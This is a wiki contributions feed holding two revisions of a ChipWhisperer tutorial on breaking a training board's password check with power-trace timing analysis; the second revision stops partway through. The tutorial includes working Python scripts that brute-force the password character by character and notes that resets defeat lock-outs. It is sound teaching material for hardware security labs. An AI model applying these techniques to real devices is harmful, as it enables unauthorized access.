http://wiki.newae.com/api.php?action=feedcontributions&user=Fheubach&feedformat=atomChipWhisperer Wiki - User contributions [en]2024-03-28T10:52:54ZUser contributionsMediaWiki 1.26.2http://wiki.newae.com/index.php?title=Tutorial_B3-1_Timing_Analysis_with_Power_for_Password_Bypass&diff=3533Tutorial B3-1 Timing Analysis with Power for Password Bypass2018-05-11T12:20:27Z<p>Fheubach: Fix typo</p>
<hr />
<div>{{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}}<br />
<br />
{{Infobox tutorial<br />
|name = B3-1 Timing Analysis with Power for Password Bypass<br />
|image = <br />
|caption = <br />
|software versions =<br />
|capture hardware = CW-Lite, CW-Lite 2-Part, CW-Pro<br />
|Target Device = <br />
|Target Architecture = XMEGA<br />
|Hardware Crypto = No<br />
|Purchase Hardware = <br />
}}<br />
<br />
<br />
This tutorial will introduce you to breaking devices by determining when a device is performing certain operations. It will use a simple password check, and demonstrate how to perform a basic power analysis.<br />
<br />
In addition this example shows you how to drive the ChipWhisperer software with a script, rather than using the GUI. This will be required when attacking new devices which you have not yet added to the core ChipWhisperer software.<br />
<br />
Note this is not a prerequisite to the tutorial on breaking AES. You can skip this tutorial if you wish to go ahead with the AES tutorial.<br />
<br />
If you want to get a rough idea, there is a video of the V3 of the tutorial (which differs from the V4 version). See [https://www.youtube.com/watch?v=h4eAU6vEONs&hd=1 Video Version on YouTube]:<br />
<br />
== Prerequisites ==<br />
<br />
You should have already completed [[Tutorial B2 Viewing Instruction Power Differences]] to gain a better understanding of the ChipWhisperer interface.<br />
<br />
== Building the Target Firmware ==<br />
<br />
The target firmware is located in the directory <code>chipwhisperer\hardware\victims\firmware\basic-passwdcheck</code>. Build the firmware using <code>make</code>, once again being careful to ensure you are using the correct <code>PLATFORM=</code> command. You should end up with something like this being printed:<br />
<br />
<pre>Creating Symbol Table: basic-passwdcheck.sym<br />
avr-nm -n basic-passwdcheck.elf &gt; basic-passwdcheck.sym<br />
<br />
Size after:<br />
AVR Memory Usage<br />
----------------<br />
Device: atxmega128d3<br />
<br />
Program: 5400 bytes (3.9% Full)<br />
(.text + .data + .bootloader)<br />
<br />
Data: 524 bytes (6.4% Full)<br />
(.data + .bss + .noinit)<br />
<br />
<br />
Built for platform CW-Lite XMEGA<br />
<br />
-------- end --------</pre><br />
<br />
== Manual Communications with the Target ==<br />
<br />
At this point, you should be able to configure the target as in the previous tutorials. Rather than tediously going through the setup process again, we'll simply use one of the scripts built into the ChipWhisperer-Capture software. This will demonstrate how we can use a script as a starting point to simplify our setup.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Connect your target hardware (ChipWhisperer-Lite/Pro or ChipWhisperer-Capture Rev 2 with target board).</li><br />
<li>Start ChipWhisperer-Capture</li><br />
<li>Under the ''Python Console'' tab, find the ''connect_cwlite_simpleserial.py'' script and double-click.</li><br />
<li>Check there are no errors on the connection.</li><br />
<li>Under the ''Python Console'' tab, find the ''setup_cwlite_xmega.py'' script and double-click.</li><br />
<li>Both the Target &amp; Scope should switch to ''CON'' and be green circles.</li><br />
<li>Using the programming tool (such as XMEGA programming dialog), program the file <code>basic-passwdcheck.hex</code> into the target device. This file is located where you ran <code>make</code> previously.</li><br />
<li><p>Select ''Tools --> Terminal'', and press ''Connect''. You should see a window such as this:</p><br />
<blockquote><p>[[File:Termconn.png|image]]</p></blockquote></li><br />
<li><p>At this point we need to reset the target device. The easiest way to do this is use the programmer interface, and press the ''Check Signature'' or ''Read Signature'' button. This will reset the target device as part of the signature read operation. You should see some messages come across the terminal emulator window:</p><br />
<blockquote><p>[[File:Checksig_print.png|image]]</p></blockquote><br />
<dl><br />
<dt>Note a few warnings about the terminal emulator:</dt><br />
<dd><ul><br />
<li>The on-board buffer is fairly small, and can be easily overflowed. You may notice a few longer lines become trunicated if printing is too fast!</li><br />
<li>You can uncheck the &quot;Show non-ASCII as hex&quot; to avoid having the <code>0a</code> printed in red. The <code>0a</code> is the hex character for a newline. Many protocols use non-ASCII characters, so to help with debugging it is left enabled by default.</li></ul><br />
</dd></dl><br />
</li><br />
<li><p>We've now got some super-secure system! Let's begin with some exploratory tests - in this case I happened to know the correct password is <code>h0px3</code>.</p><br />
<blockquote><p>'''tip'''</p><br />
<p>In real systems, you may often know ''one'' of the passwords, which is sufficient to investigate the password checking routines as we will do. You also normally have an ability to reset passwords to default. While the reset procedure would erase any data you care about, the attacker will be able to use this 'sacrificial' device to learn about possible vulnerabilites. So the assumption that we have access to the password is really just saying we have access to ''a'' password, and will use that knowledge to break the system in general.</p></blockquote></li><br />
<li><p>Using the terminal emulator, write the correct password in, and press <code>&lt;enter&gt;</code>. You should be greeted by a welcome message, and if using the CW-Lite XMEGA target the green LED will illuminate:</p><br />
<p>[[File:Passok.png|image]]</p></li><br />
<li>The system enters an infinite loop for any password entry. Thus you must reset the system, use the ''Programmer Window'' to again perform a ''Check Signature'' or ''Read Signature'' operation.</li><br />
<li>Enter an incorrect password - notice a different message is printed, and if using the CW-Lite XMEGA target the red LED will come on.</li></ol><br />
<br />
== Recording Power Traces ==<br />
Now that we can communicate with our super-secure system, our next goal is to get a power trace while the target is running. To do this, we'll get the power measurements to trigger after we send our password to the target. <br />
<br />
<ol style="list-style-type: decimal;"><br />
<li><p>We'll make some changes to the trigger setup of the ChipWhisperer (on the ''Scope Settings'' tab). In particular, ensure you set the following:</p><br />
<blockquote><ul><br />
<li>Offset = 0</li><br />
<li>Timeout set to 5 seconds or greater (to give yourself time when manually testing)</li></ul><br />
<br />
<p>[[File:Timeout_offset.png|image]]</p></blockquote></li><br />
<li><p>Change to the ''Target Settings'' tab, and delete the ''Command'' strings. Those strings are used in the AES attack to send a specific command to the target device. For now we will be manually sending data:</p><br />
<blockquote><p>[[File:Text_targetsettings.png|image]]</p></blockquote></li><br />
<li>Still in the ''Target Settings'' tab, under ''Protocol Version'', change ''Version'' from ''Auto'' to ''1.0''<br />
<li><p>Perform the following actions:</p><br />
<blockquote><ol style="list-style-type: lower-roman;"><br />
<li>Reset the target device (e.g. by performing the signature check).</li><br />
<li>Enter the password <code>h0px3</code> in the terminal window, but ''do not'' yet hit enter.</li><br />
<li>Press the ''Capture 1'' button, and immediately switch to the terminal emulator window and press <code>&lt;enter&gt;</code> to send the password.</li></ol><br />
</blockquote><br />
<p>You must send the password before the timeout occurs -- you can increase the length of the timeout if needed to give yourself more time! If this works you should see the power consumption displayed in the GUI:</p><br />
<blockquote><p>[[File:Trace_manual_pass.png|image]]</p></blockquote></li><br />
<br />
<li><p>Rather than using the manual terminal, let's now use the GUI to automatically send a password try. Switching back to the ''Target Settings'' tab, write <code>h0px3\n</code> into the ''Go Command'' option:</p><br />
<blockquote><p>[[File:Gocorrect.png|image]]</p></blockquote><br />
<p>The ''Go Command'' is sent right after the scope is armed. In this example it means we can capture the power consumption during the password entry phase.</p></li><br />
<li><p>Now perform the following actions:</p><br />
<blockquote><ol style="list-style-type: lower-roman;"><br />
<li>Reset the target device (e.g. by performing the signature check).</li><br />
<li>Press the ''Capture 1'' button.</li></ol><br />
</blockquote><br />
<p>Hopefully this resulted in the same waveform as before! Note the device takes around 1 second to 'boot', so if you are too lightning fast after resetting the device it won't actually be ready to accept the password. You can keep the terminal emulator window open to view the output data.</p></li><br />
<li><p>Play around with the password entered on the ''Go Command'' - try all of the following:</p><br />
<ul><br />
<li><code>h0px3\n</code></li><br />
<li><code>h0px4\n</code></li><br />
<li><code>h0paa\n</code></li><br />
<li><code>haaaa\n</code></li><br />
<li><code>a\n</code></li></ul><br />
<br />
<p>You should notice a distinct change in the password depending how many characters were correct. For example the following shows the difference between passwords of <code>h0px4</code> (which has 4 correct characters) and <code>h0paa</code> (which has 3 correct characters):</p><br />
<blockquote><p>[[File:3vs4.png|image]]</p></blockquote></li></ol><br />
<br />
== Automatic Resets ==<br />
The last step before scripting an entire attack is to figure out how to automatically reset the target device before (or after) each capture. There are two ways to do this, and the following steps take you through two examples of how to accomplish this goal.<br />
<br />
BOTH of these methods use the "Auxilary Modules". See the page [[Auxiliary modules]] for more details.<br />
<br />
Auxiliary modules are small pieces of code that can perform some extra functions during the capture process. The functions inside these Python modules are run before a capture, before the power measurement is armed, before the measurement is triggered, after a single trace is completed, and after an entire capture is finished. We will use an existing auxiliary module to reset the target chip before arming the measurement so that we don't have to manually reset the device.<br />
<br />
=== Reset via Spare IO Lines ===<br />
<br />
TODO - see reset via programming interface for now<br />
<br />
=== Reset via Auxiliary Module ===<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li> Scroll down the list of scripts, and you'll find one labeled "aux_reset_cw1173.py". This script has a simple function of attempting to reset the XMEGA device using the programmer:<br />
<br><br />
[[File:auxreset_test1.png|600px]]<br />
</li><br />
<li>Hit the "Run" button. If you switch to the "Auxilary Module" tab, you'll see it's been added to the list of modules at the specified location.:<br />
<br><br />
[[File:auxreset_test2.png|400px]]<br />
</li><br />
<li>Looking at the code of the script, you can see how this script is using an external module & linking it to a specific auxilary module trigger:<br />
<syntaxhighlight lang=python><br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
<br />
# GUI compatibility<br />
try:<br />
aux_list = self.aux_list<br />
except NameError:<br />
pass<br />
<br />
# Delay between arming and resetting, in ms<br />
delay_ms = 1000<br />
<br />
# Reset XMEGA device<br />
Resetter = ResetCW1173(pin='pdic', delay_ms=delay_ms)<br />
# Reset STM32Fx device<br />
#Resetter = ResetCW1173(pin='pdic', delay_ms=delay_ms)<br />
# Reset AVR<br />
#Resetter = ResetCW1173(pin='nrst', delay_ms=delay_ms)<br />
<br />
# Reset before arming<br />
# avoids possibility of false triggers<br />
# need delay in target firmware to avoid race condition<br />
aux_list.register(Resetter.resetThenDelay, "before_trace")<br />
<br />
# Reset after arming<br />
# scope can catch entire reset<br />
# avoids race condition<br />
# target reset can cause false triggers (usually not an issue)<br />
#aux_list.register(Resetter.delayThenReset, "after_arm")<br />
<br />
</syntaxhighlight><br />
{{Greenbox|Make sure to uncomment the correct reset line (shown in the example above) and comment out the other one using a #}}<br />
<li>You can edit the values required such as reset time & location by changing the script (using an external editor). But an easier method is to insert it into our attack script itself. As a test we'll see if the default values work.</li><br />
<li> Press ''Capture 1''. The target will automatically reset, with the Safe-o-matic 3000 boot sequence appearing in the console. Then, 1 second later, the program will send the password to the target and record a power trace.<br />
</li><br />
</ol><br />
<br />
Now, confirm that you can try different passwords (in ''Target Settings'') and see how the power trace changes when your password has 0, 1, 2... correct characters.<br />
<br />
Once done, use the *Remove* button to get rid of the auxiliary module, as we are going to add it instead to our script.<br />
<br />
== Performing the Timing Attack ==<br />
So far, we've set up our ChipWhisperer to automatically reset the target, send it a password attempt of our choice, and record a power trace while the target processes the password. Now, we'll write a Python script to automatically try different passwords and use these power traces to discover the password stored on the target.<br />
<br />
=== Scripting the Setup ===<br />
Our first step will be to write a script that automatically sets up the ChipWhisperer Capture software with all of the settings we've tested above. We'll do this by modifying an existing script with our own settings.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Make a copy of an existing ChipWhisperer script. The example scripts are located at <code>chipwhisperer\software\chipwhisperer\capture\scripts</code>; for example, the default one for the XMEGA device is called <code>setup_cwlite_xmega.py</code>. Make a copy of this script in the same directory (or copy it somewhere else<br />
</li><br />
<li><p>Rename the script something else - for example, <code>cwlite-passwordcrack.py</code> - and open it for editing. You'll notice that a large chunk of the code is used to set configuration information:</p><br />
<pre><br />
scope.gain.gain = 45<br />
scope.adc.samples = 25000<br />
scope.adc.offset = 0<br />
scope.adc.basic_mode = "rising_edge"<br />
scope.clock.clkgen_freq = 7370000<br />
scope.clock.adc_src = "clkgen_x4"<br />
scope.trigger.triggers = "tio4"<br />
scope.io.tio1 = "serial_rx"<br />
scope.io.tio2 = "serial_tx"<br />
scope.io.hs2 = "clkgen"<br />
</pre><br />
<br />
<p>Those parameters come from the API. You can print for example the scope parameters by running "self.scope" to see various elements:</p><pre><br />
>>> self.scope<br />
cwlite Device<br />
gain = <br />
mode = low<br />
gain = 45<br />
db = 22.50390625<br />
adc = <br />
state = False<br />
basic_mode = rising_edge<br />
timeout = 2<br />
offset = 0<br />
presamples = 0<br />
samples = 25000<br />
decimate = 1<br />
trig_count = 3084728877<br />
clock = <br />
adc_src = clkgen_x4<br />
adc_phase = 0<br />
adc_freq = 29538459<br />
adc_rate = 29538459<br />
adc_locked = True<br />
freq_ctr = 0<br />
freq_ctr_src = extclk<br />
clkgen_src = system<br />
extclk_freq = 10000000<br />
clkgen_mul = 2<br />
clkgen_div = 26<br />
clkgen_freq = 7384615<br />
clkgen_locked = True<br />
trigger = <br />
triggers = tio4<br />
module = basic<br />
io = <br />
tio1 = serial_rx<br />
tio2 = serial_tx<br />
tio3 = high_z<br />
tio4 = high_z<br />
pdid = high_z<br />
pdic = high_z<br />
nrst = high_z<br />
glitch_hp = 0<br />
glitch_lp = 0<br />
extclk_src = hs1<br />
hs2 = clkgen<br />
target_pwr = True<br />
glitch = <br />
clk_src = target<br />
width = 10.15625<br />
width_fine = 0<br />
offset = 10.15625<br />
offset_fine = 0<br />
trigger_src = manual<br />
arm_timing = after_scope<br />
ext_offset = 0<br />
repeat = 1<br />
output = clock_xor<br />
</pre></li><br />
</ol><br />
<br />
<br />
<ol start="4" style="list-style-type: decimal;"><br />
<li><p>Next, append the required commands to clear the simpleserial commands and to enable the automatic resets. Doing so will require two steps: (1) figuring out the target settings and adjusting them, and (2) inserting our code to perform the device reset.</p><br />
<p><br />
Using the console, you can dump parameters of the simpleserial target (assuming you are still connected):<br />
<syntaxhighlight lang=python><br />
>>> target<br />
init_cmd = <br />
key_cmd = k$KEY$\n<br />
input_cmd = <br />
go_cmd = p$TEXT$\n<br />
output_cmd = r$RESPONSE$\n<br />
baud = 38400<br />
protver = <br />
</syntaxhighlight><br />
</p><br />
</li><br />
<br />
<li>You should be able to see how you can simply clear all of the above settings using the script. This would mean adding some lines as follows to the script:<br />
<syntaxhighlight lang=python><br />
target.key_cmd = ''<br />
target.go_cmd = ''<br />
target.output_cmd = ''<br />
</syntaxhighlight><br />
</li><br />
<br />
<li>Remembering the auxilary module, you can also add the lines to perform this task as well to your script:<br />
<syntaxhighlight lang=python><br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
Resetter = ResetCW1173(xmega=True, delay_ms=1200)<br />
aux_list.register(Resetter.resetThenDelay, "before_trace")<br />
</syntaxhighlight><br />
</li><br />
<br />
<li><p>We will need to set the password guess so we can observe different traces. You can enter the password in the Capture ''Target Settings'' tab, or simply use a command like <code>target.go_cmd = 'h0p3\n'</code>.</p></li><br />
<li>Finally, run the script you made. It should load all settings & on hitting capture-1 you will get a waveform related to the power measurement during the comparison.</li><br />
</ol><br />
<br />
=== Running a Single Capture ===<br />
With our settings prepared, the next step is to use our script to record and analyze a power trace. We need to be able to get the trace data into our Python script so we can analyze it for the timing attack.<br />
<br />
The API allows us to ''press the Capture 1'' button and ''view the power trace'' without using the GUI. There are two relevant commands here. First, we'll need to import ChipWhisperer:<br />
<br />
* <code>import chipwhisperer as cw</code><br />
<br />
Then, we can build our own "capture controller". This controller deals with talking to the scope and target for you. To capture a single trace you could perform the following steps:<br />
<br />
<syntaxhighlight lang=python><br />
# Test one capture<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
</syntaxhighlight><br />
<br />
We want to test these two commands. After the setup portion of your script, add some code similar to the following:<br />
<syntaxhighlight lang=python><br />
#Put this at beginning of script<br />
import chipwhisperer as cw<br />
<br />
#Put this later on after setup happens<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
print trace<br />
</syntaxhighlight><br />
<br />
Run your script. The ChipWhisperer should automatically capture one trace and print out some datapoints.<br />
<br />
=== Attacking a Single Letter ===<br />
Now that we can record one power trace, we can start the timing attack. Our goal here is to automatically find the first letter of the Super Secret (tm) password.<br />
<br />
<p>Look at this example of the power traces when 0 and 1 bytes are correct. We can see a clear point that appears to shift forward in time:</p><br />
<blockquote><p>[[File:Passwordcrackerpts.png|image]]</p></blockquote><br />
<p>When we guess the first byte incorrectly, there is a distinct power spike at sample number 153. However, when we guess correctly, the target spends more time processing the password, and this spike moves 72 samples forward. This means that we can check if our first byte is correct by checking this data point: if we're right, it will have an amplitude greater than -0.2. Note the specific point will change for different hardware, and may also change if you use different versions of avr-gcc to compile the target code. The example code here was compiled with WinAVR 20100110, which has avr-gcc 4.3.3. If you view the video version of this tutorial the point numbers are different for example, so be sure to check what they are for your specific system.</p><br />
<br />
Add a loop to your script that does the following:<br />
* Sets the ''Go Command'' to the next character we want to try<br />
* Captures a power trace<br />
* Checks if sample 153 is above -0.2 (fill in the appropriate numbers here)<br />
* Repeats for all characters we want to try<br />
An example of this loop is:<br />
<br />
<syntaxhighlight lang=python><br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace and check data[153]<br />
nextTrace = scope.getLastTrace()<br />
if nextTrace[153] > -0.2:<br />
print "Success: " + c <br />
</syntaxhighlight><br />
This script will eventually stop, but you can use Ctrl+C on the command line to kill it. Make sure your script prints "Success: h"!<br />
<br />
=== Attacking the Full Password ===<br />
The last step is to attack the entire password, one letter at a time. The procedure to do this is:<br />
* Start with a blank password string<br />
* Loop through all of the characters we want to try:<br />
** Add the next character to the end of the password<br />
** Test this new candidate password using code similar to the above<br />
** If the new password is correct up to character (1, 2, ..., 5), add it to the end of the password<br />
* Repeat until we've cracked all 5 characters.<br />
<br />
Note that the point of interest is no longer at sample 153. We noticed earlier that this key point moves 72 samples forward for every correct character, so we'll have to check location <code>153</code> for character 0, <code>153 + 72</code> for character 1, and <code>153 + i*72</code> for character <code>i</code>.<br />
<br />
An example of this loop is:<br />
<syntaxhighlight lang=python><br />
# Crack the first letter<br />
password = ''<br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
for i in range(5):<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace<br />
nextTrace = scope.getLastTrace()<br />
<br />
# Check location 153, 225, etc. If it's too low, we've failed<br />
if nextTrace[153 + 72*i] < -0.2:<br />
continue<br />
<br />
# If we got here, we've found the right letter<br />
password += c<br />
print '{} characters: {}'.format(i+1, password)<br />
break<br />
</syntaxhighlight><br />
After some time, this prints <code>5 characters: h0px3</code> -- it automatically finds the correct password.<br />
<br />
That's it! You should have successfully cracked a password using the timing attack. Some notes on this method:<br />
<br />
* The target device has a finite start-up time, which slows down the attack. If you wish, remove some of the printf()'s from the target code, recompile and reprogram, and see how quickly you can do this attack.<br />
* The current script doesn't look for the &quot;WELCOME&quot; message when the password is OK. That is an extension that allows it to crack any size password.<br />
* If there was a lock-out on a wrong password, the system would ignore it, as it resets the target after every attempt.<br />
<br />
== Conclusion ==<br />
<br />
This tutorial has demonstrated the use of the power side-channel for performing timing attacks. A target with a simple password-based security system is broken. In addition you have learned about the scripting support in the ChipWhisperer-Capture software.<br />
<br />
== Appendix: Completed Timing Attack Script ==<br />
The complete tutorial might look like this:<br />
<syntaxhighlight lang=python><br />
"""This script is an example of a timing attack on a simple password checker. <br />
It is the result of Tutorial B3-1 from the ChipWhisperer Wiki.<br />
"""<br />
<br />
import chipwhisperer as cw<br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
<br />
# GUI compatibility<br />
try:<br />
scope = self.scope<br />
target = self.target<br />
aux_list = self.aux_list<br />
except NameError:<br />
pass<br />
<br />
# Set up scope<br />
scope.gain.gain = 45<br />
scope.adc.samples = 2000<br />
scope.adc.offset = 0<br />
scope.adc.basic_mode = "rising_edge"<br />
scope.clock.clkgen_freq = 7370000<br />
scope.clock.adc_src = "clkgen_x4"<br />
scope.trigger.triggers = "tio4"<br />
scope.io.tio1 = "serial_rx"<br />
scope.io.tio2 = "serial_tx"<br />
scope.io.hs2 = "clkgen"<br />
<br />
# Set up target<br />
target.key_cmd = ""<br />
target.go_cmd = "h0px3\n"<br />
target.output_cmd = ""<br />
<br />
# Set up aux module to reset target before capture<br />
resetter = ResetCW1173(xmega=True, delay_ms=1200)<br />
aux_list.register(resetter.resetThenDelay, "before_trace")<br />
<br />
# Test one capture<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
print trace<br />
<br />
# Crack the first letter<br />
password = ''<br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
for i in range(5):<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace<br />
nextTrace = scope.getLastTrace()<br />
<br />
# Check location 153, 225, etc. If it's too low, we've failed<br />
if nextTrace[153 + 72*i] < -0.2:<br />
continue<br />
<br />
# If we got here, we've found the right letter<br />
password += c<br />
print '{} characters: {}'.format(i+1, password)<br />
break<br />
</syntaxhighlight><br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_B3-1_Timing_Analysis_with_Power_for_Password_Bypass&diff=3532Tutorial B3-1 Timing Analysis with Power for Password Bypass2018-05-09T12:36:20Z<p>Fheubach: </p>
<hr />
<div>{{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}}<br />
<br />
{{Infobox tutorial<br />
|name = B3-1 Timing Analysis with Power for Password Bypass<br />
|image = <br />
|caption = <br />
|software versions =<br />
|capture hardware = CW-Lite, CW-Lite 2-Part, CW-Pro<br />
|Target Device = <br />
|Target Architecture = XMEGA<br />
|Hardware Crypto = No<br />
|Purchase Hardware = <br />
}}<br />
<br />
<br />
This tutorial will introduce you to breaking devices by determining when a device is performing certain operations. It will use a simple password check, and demonstrate how to perform a basic power analysis.<br />
<br />
In addition this example shows you how to drive the ChipWhisperer software with a script, rather than using the GUI. This will be required when attacking new devices which you have not yet added to the core ChipWhisperer software.<br />
<br />
Note this is not a prerequisite to the tutorial on breaking AES. You can skip this tutorial if you wish to go ahead with the AES tutorial.<br />
<br />
If you want to get a rough idea, there is a video of the V3 of the tutorial (which differs from the V4 version). See [https://www.youtube.com/watch?v=h4eAU6vEONs&hd=1 Video Version on YouTube]:<br />
<br />
== Prerequisites ==<br />
<br />
You should have already completed [[Tutorial B2 Viewing Instruction Power Differences]] to gain a better understanding of the ChipWhisperer interface.<br />
<br />
== Building the Target Firmware ==<br />
<br />
The target firmware is located in the directory <code>chipwhisperer\hardware\victims\firmware\basic-passwdcheck</code>. Build the firmware using <code>make</code>, once again being careful to ensure you are using the correct <code>PLATFORM=</code> command. You should end up with something like this being printed:<br />
<br />
<pre>Creating Symbol Table: basic-passwdcheck.sym<br />
avr-nm -n basic-passwdcheck.elf &gt; basic-passwdcheck.sym<br />
<br />
Size after:<br />
AVR Memory Usage<br />
----------------<br />
Device: atxmega128d3<br />
<br />
Program: 5400 bytes (3.9% Full)<br />
(.text + .data + .bootloader)<br />
<br />
Data: 524 bytes (6.4% Full)<br />
(.data + .bss + .noinit)<br />
<br />
<br />
Built for platform CW-Lite XMEGA<br />
<br />
-------- end --------</pre><br />
<br />
== Manual Communications with the Target ==<br />
<br />
At this point, you should be able to configure the target as in the previous tutorials. Rather than tediously going through the setup process again, we'll simply use one of the scripts built into the ChipWhisperer-Capture software. This will demonstrate how we can use a script as a starting point to simplify our setup.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Connect your target hardware (ChipWhisperer-Lite/Pro or ChipWhisperer-Capture Rev 2 with target board).</li><br />
<li>Start ChipWhisperer-Capture</li><br />
<li>Under the ''Python Console'' tab, find the ''connect_cwlite_simpleserial.py'' script and double-click.</li><br />
<li>Check there are no errors on the connection.</li><br />
<li>Under the ''Python Console'' tab, find the ''setup_cwlite_xmega.py'' script and double-click.</li><br />
<li>Both the Target &amp; Scope should switch to ''CON'' and be green circles.</li><br />
<li>Using the programming tool (such as XMEGA programming dialog), program the file <code>basic-passwdcheck.hex</code> into the target device. This file is located where you ran <code>make</code> previously.</li><br />
<li><p>Select ''Tools --> Terminal'', and press ''Connect''. You should see a window such as this:</p><br />
<blockquote><p>[[File:Termconn.png|image]]</p></blockquote></li><br />
<li><p>At this point we need to reset the target device. The easiest way to do this is use the programmer interface, and press the ''Check Signature'' or ''Read Signature'' button. This will reset the target device as part of the signature read operation. You should see some messages come across the terminal emulator window:</p><br />
<blockquote><p>[[File:Checksig_print.png|image]]</p></blockquote><br />
<dl><br />
<dt>Note a few warnings about the terminal emulator:</dt><br />
<dd><ul><br />
<li>The on-board buffer is fairly small, and can be easily overflowed. You may notice a few longer lines become trunicated if printing is too fast!</li><br />
<li>You can uncheck the &quot;Show non-ASCII as hex&quot; to avoid having the <code>0a</code> printed in red. The <code>0a</code> is the hex character for a newline. Many protocols use non-ASCII characters, so to help with debugging it is left enabled by default.</li></ul><br />
</dd></dl><br />
</li><br />
<li><p>We've now got some super-secure system! Let's begin with some exploratory tests - in this case I happened to know the correct password is <code>h0px3</code>.</p><br />
<blockquote><p>'''tip'''</p><br />
<p>In real systems, you may often know ''one'' of the passwords, which is sufficient to investigate the password checking routines as we will do. You also normally have an ability to reset passwords to default. While the reset procedure would erase any data you care about, the attacker will be able to use this 'sacrificial' device to learn about possible vulnerabilites. So the assumption that we have access to the password is really just saying we have access to ''a'' password, and will use that knowledge to break the system in general.</p></blockquote></li><br />
<li><p>Using the terminal emulator, write the correct password in, and press <code>&lt;enter&gt;</code>. You should be greeted by a welcome message, and if using the CW-Lite XMEGA target the green LED will illuminate:</p><br />
<p>[[File:Passok.png|image]]</p></li><br />
<li>The system enters an infinite loop for any password entry. Thus you must reset the system, use the ''Programmer Window'' to again perform a ''Check Signature'' or ''Read Signature'' operation.</li><br />
<li>Enter an incorrect password - notice a different message is printed, and if using the CW-Lite XMEGA target the red LED will come on.</li></ol><br />
<br />
== Recording Power Traces ==<br />
Now that we can communicate with our super-secure system, our next goal is to get a power trace while the target is running. To do this, we'll get the power measurements to trigger after we send our password to the target. <br />
<br />
<ol style="list-style-type: decimal;"><br />
<li><p>We'll make some changes to the trigger setup of the ChipWhisperer (on the ''Scope Settings'' tab). In particular, ensure you set the following:</p><br />
<blockquote><ul><br />
<li>Offset = 0</li><br />
<li>Timeout set to 5 seconds or greater (to give yourself time when manually testing)</li></ul><br />
<br />
<p>[[File:Timeout_offset.png|image]]</p></blockquote></li><br />
<li><p>Change to the ''Target Settings'' tab, and delete the ''Command'' strings. Those strings are used in the AES attack to send a specific command to the target device. For now we will be manually sending data:</p><br />
<blockquote><p>[[File:Text_targetsettings.png|image]]</p></blockquote></li><br />
<li>Still in the ''Target Settings'' tab, under ''Protocol Version'', change ''Version'' from ''Auto'' to ''1.0''<br />
<li><p>Perform the following actions:</p><br />
<blockquote><ol style="list-style-type: lower-roman;"><br />
<li>Reset the target device (e.g. by performing the signature check).</li><br />
<li>Enter the password <code>h0px3</code> in the terminal window, but ''do not'' yet hit enter.</li><br />
<li>Press the ''Capture 1'' button, and immediately switch to the terminal emulator window and press <code>&lt;enter&gt;</code> to send the password.</li></ol><br />
</blockquote><br />
<p>You must send the password before the timeout occurs -- you can increase the length of the timeout if needed to give yourself more time! If this works you should see the power consumption displayed in the GUI:</p><br />
<blockquote><p>[[File:Trace_manual_pass.png|image]]</p></blockquote></li><br />
<br />
<li><p>Rather than using the manual terminal, let's now use the GUI to automatically send a password try. Switching back to the ''Target Settings'' tab, write <code>h0px3\n</code> into the ''Go Command'' option:</p><br />
<blockquote><p>[[File:Gocorrect.png|image]]</p></blockquote><br />
<p>The ''Go Command'' is sent right after the scope is armed. In this example it means we can capture the power consumption during the password entry phase.</p></li><br />
<li><p>Now perform the following actions:</p><br />
<blockquote><ol style="list-style-type: lower-roman;"><br />
<li>Reset the target device (e.g. by performing the signature check).</li><br />
<li>Press the ''Capture 1'' button.</li></ol><br />
</blockquote><br />
<p>Hopefully this resulted in the same waveform as before! Note the device takes around 1 second to 'boot', so if you are too lightning fast after resetting the device it won't actually be ready to accept the password. You can keep the terminal emulator window open to view the output data.</p></li><br />
<li><p>Play around with the password entered on the ''Go Command'' - try all of the following:</p><br />
<ul><br />
<li><code>h0px3\n</code></li><br />
<li><code>h0px4\n</code></li><br />
<li><code>h0paa\n</code></li><br />
<li><code>haaaa\n</code></li><br />
<li><code>a\n</code></li></ul><br />
<br />
<p>You should notice a distinct change in the password depending how many characters were correct. For example the following shows the difference between passwords of <code>h0px4</code> (which has 4 correct characters) and <code>h0paa</code> (which has 3 correct characters):</p><br />
<blockquote><p>[[File:3vs4.png|image]]</p></blockquote></li></ol><br />
<br />
== Automatic Resets ==<br />
The last step before scripting an entire attack is to figure out how to automatically reset the target device before (or after) each capture. There are two ways to do this, and the following steps take you through two examples of how to accomplish this goal.<br />
<br />
BOTH of these methods use the "Auxilary Modules". See the page [[Auxiliary modules]] for more details.<br />
<br />
